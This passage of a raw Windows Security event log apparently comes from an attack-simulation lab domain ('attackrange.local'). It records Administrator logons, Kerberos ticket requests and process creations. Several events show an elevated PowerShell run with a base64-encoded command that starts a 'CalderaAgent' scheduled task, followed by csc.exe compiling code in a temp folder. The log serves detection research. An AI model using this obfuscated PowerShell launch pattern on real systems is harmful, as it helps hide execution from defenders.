SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252493 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1630BF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252492 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252491 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252490 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252489 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x162EEA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252488 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x162EEA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252487 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x162EEA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252486 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252485 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {88BA9618-E447-8C6F-A4E1-554423C688E5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252484 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252483 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x160045 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252482 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15EFE6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252481 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15DAD4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252480 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10fc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252532 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16387C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12ec - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAEMAYQBsAGQAZQByAGEAQQBnAGUAbgB0ACIA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252531 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x165E53 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252530 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x165E53 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F03B9AFA-46B7-A336-8EB9-3E6366F1E9D0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252529 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F03B9AFA-46B7-A336-8EB9-3E6366F1E9D0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252528 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F03B9AFA-46B7-A336-8EB9-3E6366F1E9D0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252527 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252526 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16387C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1080 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x108c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES7094.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCF12FFB2F8B5E4E77B7A1E6561036FCE9.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252525 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16387C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x108c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\04ukce4y.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252524 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x165452 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252523 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x165452 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {F03B9AFA-46B7-A336-8EB9-3E6366F1E9D0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252522 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {F03B9AFA-46B7-A336-8EB9-3E6366F1E9D0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252521 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {F03B9AFA-46B7-A336-8EB9-3E6366F1E9D0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252520 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - 